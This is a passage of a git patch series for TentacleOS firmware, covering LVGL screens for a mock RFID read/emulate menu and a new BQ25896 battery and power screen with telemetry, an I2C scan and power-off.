lv_obj_set_style_image_recolor(img, current_theme.text_main, 0); + lv_obj_set_style_image_recolor_opa(img, LV_OPA_COVER, 0); + lv_obj_center(img); + } + if (assemble) + fade_in(badge, FIELD_FADE_MS, 0); + + lv_obj_t *title = lv_label_create(card); + lv_label_set_text(title, title_txt); + lv_obj_set_style_text_color(title, current_theme.text_main, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_LEFT, CARD_TITLE_X, CARD_TITLE_Y); + if (assemble) + fade_in(title, FIELD_FADE_MS, delay); + + lv_obj_t *sub = lv_label_create(card); + lv_label_set_text(sub, sub_txt); + lv_obj_set_style_text_color(sub, current_theme.text_main, 0); + lv_obj_set_style_text_opa(sub, LV_OPA_60, 0); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_12, 0); + lv_obj_align(sub, LV_ALIGN_TOP_LEFT, CARD_SUB_X, CARD_SUB_Y); + if (assemble) + fade_in(sub, FIELD_FADE_MS, delay * 2); + + lv_obj_t *line = lv_label_create(card); + lv_obj_set_width(line, lv_pct(100)); + lv_label_set_long_mode(line, LV_LABEL_LONG_DOT); + lv_label_set_text(line, line_txt); + lv_obj_set_style_text_color(line, accent, 0); + lv_obj_set_style_text_font(line, &lv_font_montserrat_12, 0); + lv_obj_align(line, LV_ALIGN_TOP_LEFT, 0, CARD_LINE_Y); + if (assemble) + fade_in(line, FIELD_FADE_MS, delay * 3); + + lv_obj_t *meta = lv_label_create(card); + lv_obj_set_width(meta, lv_pct(100)); + lv_label_set_long_mode(meta, LV_LABEL_LONG_DOT); + lv_label_set_text(meta, meta_txt); + lv_obj_set_style_text_color(meta, current_theme.text_main, 0); + lv_obj_set_style_text_opa(meta, LV_OPA_50, 0); + lv_obj_set_style_text_font(meta, &lv_font_montserrat_12, 0); + lv_obj_align(meta, LV_ALIGN_TOP_LEFT, 0, CARD_META_Y); + if (assemble) + fade_in(meta, FIELD_FADE_MS, delay * 4); + + for (int i = 0; i < COIL_COUNT; i++) { + lv_obj_t *coil = lv_obj_create(card); + lv_obj_remove_flag(coil, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(coil, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(coil, COIL_W - i * 8, COIL_H); + lv_obj_align(coil, LV_ALIGN_BOTTOM_RIGHT, COIL_X_OFS, COIL_Y_OFS - i * COIL_GAP); + lv_obj_set_style_radius(coil, COIL_RADIUS, 0); + lv_obj_set_style_border_width(coil, 0, 0); + lv_obj_set_style_bg_color(coil, accent, 0); + lv_obj_set_style_bg_opa(coil, COIL_OPA, 0); + if (assemble) + fade_in(coil, FIELD_FADE_MS, delay * 5); + } + + return card; +} + +static void card_rise(lv_obj_t *card) { + lv_obj_set_style_translate_y(card, CARD_RISE_PX, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, card); + lv_anim_set_exec_cb(&a, translate_y_cb); + lv_anim_set_values(&a, CARD_RISE_PX, 0); + lv_anim_set_duration(&a, CARD_RISE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void build_scan_field(void) { + s_scan_group = lv_obj_create(s_screen); + lv_obj_remove_flag(s_scan_group, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_scan_group, lv_pct(100), lv_pct(100)); + lv_obj_align(s_scan_group, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_bg_opa(s_scan_group, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_scan_group, 0, 0); + lv_obj_set_style_pad_all(s_scan_group, 0, 0); + + lv_obj_t *pad = lv_obj_create(s_scan_group); + lv_obj_remove_flag(pad, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(pad, PAD_W, PAD_H); + lv_obj_align(pad, LV_ALIGN_CENTER, 0, PAD_Y_OFS); + lv_obj_set_style_radius(pad, PAD_RADIUS, 0); + lv_obj_set_style_pad_all(pad, 0, 0); + lv_obj_set_style_bg_color(pad, current_theme.bg_primary, 0); + lv_obj_set_style_bg_opa(pad, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(pad, PAD_BORDER, 0); + lv_obj_set_style_border_color(pad, current_theme.border_accent, 0); + lv_obj_set_style_border_opa(pad, PAD_DIM_OPA, 0); + lv_obj_set_style_clip_corner(pad, true, 0); + + lv_obj_t *sil = lv_obj_create(pad); + lv_obj_remove_flag(sil, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(sil, SIL_W, SIL_H); + lv_obj_center(sil); + lv_obj_set_style_radius(sil, SIL_RADIUS, 0); + lv_obj_set_style_bg_opa(sil, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(sil, 1, 0); + lv_obj_set_style_border_color(sil, current_theme.border_accent, 0); + lv_obj_set_style_border_opa(sil, SIL_OPA, 0); + + lv_obj_t *beam = lv_obj_create(pad); + lv_obj_remove_flag(beam, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(beam, BEAM_W, BEAM_H); + lv_obj_align(beam, LV_ALIGN_TOP_MID, 0, BEAM_MARGIN); + lv_obj_set_style_radius(beam, 0, 0); + lv_obj_set_style_border_width(beam, 0, 0); + lv_obj_set_style_bg_color(beam, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(beam, LV_OPA_COVER, 0); + lv_obj_set_style_shadow_color(beam, current_theme.border_accent, 0); + lv_obj_set_style_shadow_width(beam, BEAM_GLOW_W, 0); + lv_obj_set_style_shadow_opa(beam, LV_OPA_50, 0); + + lv_anim_t sweep; + lv_anim_init(&sweep); + lv_anim_set_var(&sweep, beam); + lv_anim_set_exec_cb(&sweep, translate_y_cb); + lv_anim_set_values(&sweep, 0, BEAM_TRAVEL); + lv_anim_set_duration(&sweep, BEAM_MS); + lv_anim_set_playback_duration(&sweep, BEAM_MS); + lv_anim_set_repeat_count(&sweep, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&sweep, lv_anim_path_ease_in_out); + lv_anim_start(&sweep); + + s_hex_lbl = lv_label_create(s_scan_group); + lv_label_set_text(s_hex_lbl, "-- -- -- -- -- --"); + lv_obj_set_style_text_color(s_hex_lbl, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(s_hex_lbl, &lv_font_montserrat_14, 0); + lv_obj_align(s_hex_lbl, LV_ALIGN_CENTER, 0, HEX_Y_OFS); + + lv_obj_t *prog = lv_bar_create(s_scan_group); + lv_obj_set_size(prog, PROG_W, PROG_H); + lv_obj_align(prog, LV_ALIGN_CENTER, 0, PROG_Y_OFS); + lv_bar_set_range(prog, 0, 100); + lv_bar_set_value(prog, 0, LV_ANIM_OFF); + lv_obj_set_style_bg_color(prog, current_theme.bg_secondary, LV_PART_MAIN); + lv_obj_set_style_bg_opa(prog, LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_radius(prog, PROG_H / 2, LV_PART_MAIN); + lv_obj_set_style_bg_color(prog, current_theme.border_accent, LV_PART_INDICATOR); + lv_obj_set_style_bg_opa(prog, LV_OPA_COVER, LV_PART_INDICATOR); + lv_obj_set_style_radius(prog, PROG_H / 2, LV_PART_INDICATOR); + + lv_anim_t pa; + lv_anim_init(&pa); + lv_anim_set_var(&pa, prog); + lv_anim_set_exec_cb(&pa, bar_value_cb); + lv_anim_set_values(&pa, 0, 100); + lv_anim_set_duration(&pa, SCAN_MS); + lv_anim_set_path_cb(&pa, lv_anim_path_linear); + lv_anim_start(&pa); +} + +static void reveal_captured_card(void) { + if (s_scan_group != NULL) { + lv_obj_del(s_scan_group); + s_scan_group = NULL; + s_hex_lbl = NULL; + } + if (s_status_lbl != NULL) { + lv_anim_delete(s_status_lbl, opa_cb); + lv_obj_set_style_opa(s_status_lbl, LV_OPA_COVER, 0); + lv_label_set_text(s_status_lbl, "Tag detected!"); + lv_obj_set_style_text_color(s_status_lbl, lv_color_hex(SIG_GREEN), 0); + } + + lv_obj_t *card = build_data_card(s_screen, CARD_TITLE, CARD_SUBTITLE, CARD_LINE, CARD_META, true); + lv_obj_align(card, LV_ALIGN_CENTER, 0, CARD_Y_OFS); + card_rise(card); +} + +static void scan_done_cb(lv_timer_t *t) { + (void)t; + s_scan_timer = NULL; + if (lv_screen_active() != s_screen) + return; + + s_card_revealed = true; + s_revealed_at = lv_tick_get(); + reveal_captured_card(); + ESP_LOGI(TAG, "mock rfid capture: %s %s", CARD_TITLE, CARD_LINE); + ui_feedback(UI_FB_READ); + + if (s_hint != NULL) + ui_chrome_footer_set_text(s_hint, HINT_SHOW); +} + +static void build_read(void) { + ui_chrome_header(s_screen, "READ", "/assets/icons/nfc_card_icon.bin"); + + s_card_revealed = false; + s_saved = false; + s_scan_start = lv_tick_get(); + s_hex_last = s_scan_start; + + s_status_lbl = lv_label_create(s_screen); + lv_label_set_text(s_status_lbl, READ_STATUS_BUSY); + lv_obj_set_style_text_color(s_status_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_status_lbl, &lv_font_montserrat_14, 0); + lv_obj_align(s_status_lbl, LV_ALIGN_TOP_MID, 0, STATUS_Y); + + lv_obj_t *freq = lv_label_create(s_screen); + lv_label_set_text(freq, FREQ_TEXT); + lv_obj_set_style_text_color(freq, current_theme.border_accent, 0); + lv_obj_set_style_text_font(freq, &lv_font_montserrat_12, 0); + lv_obj_align(freq, LV_ALIGN_TOP_MID, 0, FREQ_Y); + + build_scan_field(); + + s_hint = ui_chrome_footer(s_screen, HINT_SCAN); + + s_scan_timer = lv_timer_create(scan_done_cb, SCAN_MS, NULL); + lv_timer_set_repeat_count(s_scan_timer, 1); +} + +static void build_saved_list(void) { + s_menu = menu_component_create(s_screen, "SAVED CARDS", SAVED_ICON); + for (int i = 0; i < SAVED_CARD_COUNT; i++) { + menu_component_add_item(&s_menu, CARD_ICON, SAVED_CARDS[i].name); + menu_component_set_item_label_color(&s_menu, i, current_theme.text_main); + } + if (s_saved_sel > 0 && s_saved_sel < SAVED_CARD_COUNT) + menu_component_select(&s_menu, s_saved_sel); + + fade_in(s_menu.items_cont, FADE_IN_MS, 0); + fade_in(s_menu.title_bar, FADE_IN_MS, 0); +} + +static void build_saved_info(void) { + build_header("CARD INFO"); + + char line[40]; + snprintf(line, sizeof(line), "UID %s", SAVED_CARDS[s_saved_sel].uid); + + lv_obj_t *card = build_data_card(s_screen, + SAVED_CARDS[s_saved_sel].name, + SAVED_CARDS[s_saved_sel].proto, + line, + SAVED_CARDS[s_saved_sel].bits, + true); + lv_obj_align(card, LV_ALIGN_CENTER, 0, CARD_Y_OFS); + card_rise(card); + + make_hint("BACK to return"); +} + +static void build_emulate(void) { + ui_chrome_header(s_screen, "EMULATE", EMULATE_ICON); + + s_waves = waves_create(s_screen, LV_ALIGN_CENTER, 0, WAVES_Y, NULL, CARD_ICON); + (void)s_waves; + + lv_obj_t *card = + build_data_card(s_screen, CARD_TITLE, CARD_SUBTITLE, CARD_LINE, CARD_META, false); + lv_obj_align(card, LV_ALIGN_CENTER, 0, CARD_Y_OFS); + + lv_obj_t *tx = lv_label_create(s_screen); + lv_label_set_text(tx, EMU_TX_BUSY); + lv_obj_set_style_text_color(tx, current_theme.border_accent, 0); + lv_obj_set_style_text_font(tx, &lv_font_montserrat_12, 0); + lv_obj_align(tx, LV_ALIGN_CENTER, 0, EMU_TX_LABEL_Y); + blink_loop(tx, STATUS_BLINK_LO, EMU_TX_BLINK_MS); + + int total_w = TX_DOT_COUNT * TX_DOT_SIZE + (TX_DOT_COUNT - 1) * TX_DOT_GAP; + int x0 = -(total_w / 2) + TX_DOT_SIZE / 2; + for (int i = 0; i < TX_DOT_COUNT; i++) { + lv_obj_t *dot = lv_obj_create(s_screen); + lv_obj_remove_flag(dot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(dot, TX_DOT_SIZE, TX_DOT_SIZE); + lv_obj_align(dot, LV_ALIGN_CENTER, x0 + i * (TX_DOT_SIZE + TX_DOT_GAP), TX_DOT_Y_OFS); + lv_obj_set_style_radius(dot, TX_DOT_RADIUS, 0); + lv_obj_set_style_border_width(dot, 0, 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(dot, current_theme.border_accent, 0); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, dot); + lv_anim_set_exec_cb(&a, opa_cb); + lv_anim_set_values(&a, STATUS_BLINK_LO, LV_OPA_COVER); + lv_anim_set_duration(&a, TX_DOT_BLINK_MS); + lv_anim_set_playback_duration(&a, TX_DOT_BLINK_MS); + lv_anim_set_delay(&a, i * TX_DOT_BLINK_MS / TX_DOT_COUNT); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); + } + + ui_chrome_footer(s_screen, "BACK Stop"); + ui_feedback(UI_FB_EMULATE); +} + +static void build_screen(void) { + stop_scan_timers(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_status_lbl = NULL; + s_scan_group = NULL; + s_hex_lbl = NULL; + s_waves = NULL; + s_hint = NULL; + s_cr = (capture_result_t){0}; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + switch (s_view) { + case VIEW_READ: + build_read(); + break; + case VIEW_OPTIONS: { + ui_chrome_header(s_screen, "READ", CARD_ICON); + capture_result_cfg_t cfg = { + .accent = current_theme.border_accent, + .card_icon = CARD_ICON, + .card_title = "Tag captured", + .card_sub = CARD_TITLE, + .card_value = CARD_LINE, + .primary_label = "Emulate", + .again_label = "Read again", + }; + s_cr = capture_result_create(s_screen, &cfg); + s_hint = ui_chrome_footer(s_screen, HINT_MENU); + break; + } + case VIEW_SAVED: + build_saved_list(); + break; + case VIEW_SAVED_INFO: + build_saved_info(); + break; + case VIEW_EMULATE: + build_emulate(); + break; + case VIEW_LIST: + default: + s_menu = menu_component_create(s_screen, "RFID", LIST_TITLE_ICON); + for (int i = 0; i < RFID_ITEM_COUNT; i++) + menu_component_add_item(&s_menu, RFID_ITEMS[i].icon, RFID_ITEMS[i].name); + fade_in(s_menu.items_cont, FADE_IN_MS, 0); + fade_in(s_menu.title_bar, FADE_IN_MS, 0); + break; + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void read_tick(void) { + uint32_t now = lv_tick_get(); + if (!s_card_revealed) { + if (s_status_lbl != NULL) { + int dots = ((now - s_scan_start) / DOT_CYCLE_MS) % 4; + char buf[20]; + snprintf(buf, + sizeof(buf), + "%s%s", + READ_STATUS_BUSY, + dots == 1 ? "." + : dots == 2 ? ".." + : dots == 3 ? "..." + : ""); + lv_label_set_text(s_status_lbl, buf); + } + if (s_hex_lbl != NULL && (now - s_hex_last) >= HEX_UPDATE_MS) { + s_hex_last = now; + char hex[HEX_BUF_LEN]; + scramble_hex(hex, sizeof(hex), now); + lv_label_set_text(s_hex_lbl, hex); + } + } +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + if (s_view == VIEW_READ) + read_tick(); + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + switch (s_view) { + case VIEW_LIST: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel == IDX_READ) { + s_view = VIEW_READ; + build_screen(); + goto latch; + } else if (sel == IDX_SAVED) { + s_saved_sel = 0; + s_view = VIEW_SAVED; + build_screen(); + goto latch; + } else if (sel == IDX_EMULATE) { + s_view = VIEW_EMULATE; + build_screen(); + goto latch; + } + } + if (back && !s_back_last) + ui_switch_screen(SCREEN_MENU); + break; + + case VIEW_READ: + if (s_card_revealed && lv_tick_get() - s_revealed_at >= REVEAL_MS) { + s_view = VIEW_OPTIONS; + build_screen(); + goto latch; + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_OPTIONS: + if (down && !s_down_last) { + capture_result_next(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (up && !s_up_last) { + capture_result_prev(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (ok && !s_ok_last) { + switch (capture_result_selected(&s_cr)) { + case CAP_ACT_PRIMARY: + s_view = VIEW_EMULATE; + build_screen(); + goto latch; + case CAP_ACT_SAVE: + if (!s_saved) { + s_saved = true; + capture_result_mark_saved(&s_cr); + ESP_LOGI(TAG, "mock rfid saved: %s", CARD_TITLE); + ui_feedback(UI_FB_WRITE); + notify(NOTIFY_SAVED, "RFID tag saved"); + } + break; + case CAP_ACT_AGAIN: + s_view = VIEW_READ; + build_screen(); + goto latch; + case CAP_ACT_DISCARD: + s_view = VIEW_LIST; + build_screen(); + goto latch; + default: + break; + } + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_SAVED: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + s_saved_sel = menu_component_get_selected(&s_menu); + s_view = VIEW_SAVED_INFO; + build_screen(); + goto latch; + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_SAVED_INFO: + if (back && !s_back_last) { + s_view = VIEW_SAVED; + build_screen(); + goto latch; + } + break; + + case VIEW_EMULATE: + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + default: + break; + } + + s_up_last = up; + s_down_last = down; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + +latch: + s_up_last = up; + s_down_last = down; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_rfid_menu_open(void) { + stop_scan_timers(); + s_view = VIEW_LIST; + s_saved_sel = 0; + s_card_revealed = false; + s_saved = false; + build_screen(); +} From 162f9c4d2fd107cca68bf57e818c6ae4406bfba4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:07:46 -0300 Subject: [PATCH 115/572] feat(ui): add power screen --- .../ui/screens/power/include/power_ui.h | 27 ++ .../Applications/ui/screens/power/power_ui.c | 324 ++++++++++++++++++ 2 files changed, 351 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/power/include/power_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/power/power_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/power/include/power_ui.h b/firmware_p4/components/Applications/ui/screens/power/include/power_ui.h new file mode 100644 index 000000000..7200fc80e --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/power/include/power_ui.h @@ -0,0 +1,27 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef POWER_UI_H +#define POWER_UI_H + +/** + * @brief Open the power / battery (BQ25896) screen. + * + * Live telemetry, charge toggle, I2C scan, and software power-off (BATFET ship + * mode). + */ +void ui_power_open(void); + +#endif // POWER_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/power/power_ui.c b/firmware_p4/components/Applications/ui/screens/power/power_ui.c new file mode 100644 index 000000000..33132a378 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/power/power_ui.c @@ -0,0 +1,324 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "power_ui.h" + +#include + +#include "driver/i2c.h" +#include "lvgl.h" + +#include "bq25896.h" +#include "buttons_gpio.h" +#include "msgbox_ui.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 60 +#define REFRESH_MS 700 + +enum { ACT_CHARGE, ACT_SCAN, ACT_REGS, ACT_OFF, ACT_COUNT }; +static const char *const ACT_NAMES[ACT_COUNT] = { + "Charging: --", "I2C Scan", "Registers", "Power Off"}; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_telem = NULL; +static lv_obj_t *s_chart = NULL; +static lv_chart_series_t *s_series = NULL; +static lv_obj_t *s_acts[ACT_COUNT]; +static lv_timer_t *s_timer = NULL; +static int s_sel = 0; +static uint32_t s_last_refresh = 0; +static char s_scan_msg[96]; +static bool s_up_last, s_down_last, s_ok_last, s_back_last, s_left_last, s_right_last; + +static const char *chg_name(bq25896_charge_status_t s) { + switch (s) { + case CHARGE_STATUS_PRECHARGE: + return "Pre-charge"; + case CHARGE_STATUS_FAST_CHARGE: + return "Fast charge"; + case CHARGE_STATUS_CHARGE_DONE: + return "Charge done"; + default: + return "Not charging"; + } +} +static const char *vbus_name(bq25896_vbus_status_t s) { + switch (s) { + case VBUS_STATUS_USB_HOST: + return "USB"; + case VBUS_STATUS_ADAPTER_PORT: + return "Adapter"; + case VBUS_STATUS_OTG: + return "OTG"; + default: + return "None"; + } +} + +static void refresh_telem(void) { + bq25896_telem_t t; + if (bq25896_read_telemetry(&t) != ESP_OK) { + lv_label_set_text(s_telem, "BQ25896 not responding\n(check I2C / 0x6B)"); + return; + } + char vb[16]; + if (t.power_good) + snprintf(vb, + sizeof(vb), + "%u.%02uV %s", + t.vbus_mv / 1000, + (t.vbus_mv % 1000) / 10, + vbus_name(t.vbus)); + else + snprintf(vb, sizeof(vb), "none"); + + const char *status; + if (t.charging) { + status = chg_name(t.chg); + } else if (!t.power_good) { + status = "On battery"; + } else { + uint8_t r00 = bq25896_reg_raw(0x00); + uint8_t f = t.fault; + if (r00 & 0x80) + status = "Idle (HiZ)"; + else if (!bq25896_get_charge_enable()) + status = "Idle (off)"; + else if (f & 0x80) + status = "Fault: WD"; + else if (f & 0x40) + status = "Fault: boost"; + else if ((f & 0x30) == 0x10) + status = "Fault: input"; + else if ((f & 0x30) == 0x20) + status = "Fault: thermal"; + else if ((f & 0x30) == 0x30) + status = "Fault: timer"; + else if (f & 0x08) + status = "Fault: batt OVP"; + else if (f & 0x07) + status = "Fault: NTC"; + else + status = "Idle (full?)"; + } + + char buf[160]; + snprintf(buf, + sizeof(buf), + "Batt %u.%02u V %d%% %s\n" + "Sys %u.%02u V VBUS %s\n" + "Chg %u mA In %u mA F:%02X", + t.vbat_mv / 1000, + (t.vbat_mv % 1000) / 10, + t.soc, + status, + t.vsys_mv / 1000, + (t.vsys_mv % 1000) / 10, + vb, + t.ichg_ma, + t.iinlim_ma, + t.fault); + lv_label_set_text(s_telem, buf); + + if (s_chart && s_series) + lv_chart_set_next_value(s_chart, s_series, t.soc); + + lv_label_set_text_fmt( + s_acts[ACT_CHARGE], "Charging: %s", bq25896_get_charge_enable() ? "ON" : "OFF"); +} + +static void draw_selection(void) { + for (int i = 0; i < ACT_COUNT; i++) { + bool sel = (i == s_sel); + lv_obj_set_style_text_color( + s_acts[i], sel ? ui_theme_get_accent() : current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_acts[i], sel ? LV_OPA_COVER : LV_OPA_70, 0); + } +} + +static void i2c_scan_fill(void) { + int n = 0; + s_scan_msg[0] = '\0'; + for (uint8_t a = 0x08; a <= 0x77; a++) { + i2c_cmd_handle_t cmd = i2c_cmd_link_create(); + i2c_master_start(cmd); + i2c_master_write_byte(cmd, (a << 1) | I2C_MASTER_WRITE, true); + i2c_master_stop(cmd); + esp_err_t r = i2c_master_cmd_begin(I2C_NUM_0, cmd, 20 / portTICK_PERIOD_MS); + i2c_cmd_link_delete(cmd); + if (r == ESP_OK && n < (int)sizeof(s_scan_msg) - 7) + n += snprintf(s_scan_msg + n, sizeof(s_scan_msg) - n, "0x%02X ", a); + } + if (n == 0) + snprintf(s_scan_msg, sizeof(s_scan_msg), "No I2C devices found"); +} + +static void poweroff_cb(bool confirm) { + if (confirm) + bq25896_power_off(); +} + +static void do_action(int act) { + if (act == ACT_CHARGE) { + bq25896_set_charge_enable(!bq25896_get_charge_enable()); + } else if (act == ACT_SCAN) { + i2c_scan_fill(); + msgbox_open(LV_SYMBOL_LIST, s_scan_msg, NULL, NULL, NULL); + } else if (act == ACT_REGS) { + uint8_t ts = bq25896_reg_raw(0x10) & 0x7F; + int tsx10 = 210 + ts * 465 / 100; + uint8_t f = bq25896_reg_raw(0x0C); + const char *ts_hint = (tsx10 < 344) ? "TS low: short? (Hot)" + : (tsx10 > 732) ? "TS high: open? (Cold)" + : "TS in range (OK)"; + snprintf(s_scan_msg, + sizeof(s_scan_msg), + "TS %d.%d%% (~50 ok)\n%s\n0B:%02X 0C:%02X NTC:%X\n00:%02X 04:%02X 0D:%02X", + tsx10 / 10, + tsx10 % 10, + ts_hint, + bq25896_reg_raw(0x0B), + f, + f & 0x07, + bq25896_reg_raw(0x00), + bq25896_reg_raw(0x04), + bq25896_reg_raw(0x0D)); + msgbox_open(LV_SYMBOL_SETTINGS, s_scan_msg, NULL, NULL, NULL); + } else if (act == ACT_OFF) { + msgbox_open(LV_SYMBOL_POWER, + "Power off the HighBoy?\n(unplug USB to stay off)", + "Off", + "Cancel", + poweroff_cb); + } +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (msgbox_is_open() || ui_input_is_locked()) { + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + } + + if ((back && !s_back_last) || (left && !s_left_last)) { + ui_switch_screen(SCREEN_SETTINGS); + return; + } + if (down && !s_down_last) { + s_sel = (s_sel + 1) % ACT_COUNT; + draw_selection(); + } + if (up && !s_up_last) { + s_sel = (s_sel - 1 + ACT_COUNT) % ACT_COUNT; + draw_selection(); + } + if ((ok && !s_ok_last) || (right && !s_right_last)) + do_action(s_sel); + + if (lv_tick_get() - s_last_refresh >= REFRESH_MS) { + s_last_refresh = lv_tick_get(); + refresh_telem(); + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_power_open(void) { + bq25896_init(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_sel = 0; + s_last_refresh = 0; + s_chart = NULL; + s_series = NULL; + s_up_last = s_down_last = s_ok_last = s_back_last = s_left_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "Power", "/assets/icons/power_icon.bin"); + + s_telem = lv_label_create(s_screen); + lv_label_set_text(s_telem, "Reading..."); + lv_obj_set_style_text_color(s_telem, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_telem, &lv_font_montserrat_12, 0); + lv_obj_align(s_telem, LV_ALIGN_TOP_LEFT, 10, 48); + + s_chart = lv_chart_create(s_screen); + lv_obj_set_size(s_chart, lv_pct(92), 72); + lv_obj_align(s_chart, LV_ALIGN_TOP_MID, 0, 106); + lv_obj_set_style_bg_color(s_chart, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(s_chart, LV_OPA_40, 0); + lv_obj_set_style_border_width(s_chart, 1, 0); + lv_obj_set_style_border_color(s_chart, current_theme.border_interface, 0); + lv_obj_set_style_radius(s_chart, 6, 0); + lv_obj_set_style_width(s_chart, 0, LV_PART_INDICATOR); + lv_obj_set_style_height(s_chart, 0, LV_PART_INDICATOR); + lv_chart_set_type(s_chart, LV_CHART_TYPE_LINE); + lv_chart_set_update_mode(s_chart, LV_CHART_UPDATE_MODE_SHIFT); + lv_chart_set_point_count(s_chart, 40); + lv_chart_set_range(s_chart, LV_CHART_AXIS_PRIMARY_Y, 0, 100); + lv_chart_set_div_line_count(s_chart, 3, 0); + s_series = lv_chart_add_series(s_chart, ui_theme_get_accent(), LV_CHART_AXIS_PRIMARY_Y); + + lv_obj_t *gl = lv_label_create(s_screen); + lv_label_set_text(gl, "Battery %"); + lv_obj_set_style_text_color(gl, current_theme.text_main, 0); + lv_obj_set_style_text_opa(gl, LV_OPA_50, 0); + lv_obj_set_style_text_font(gl, &lv_font_montserrat_12, 0); + lv_obj_align(gl, LV_ALIGN_TOP_MID, 0, 94); + + for (int i = 0; i < 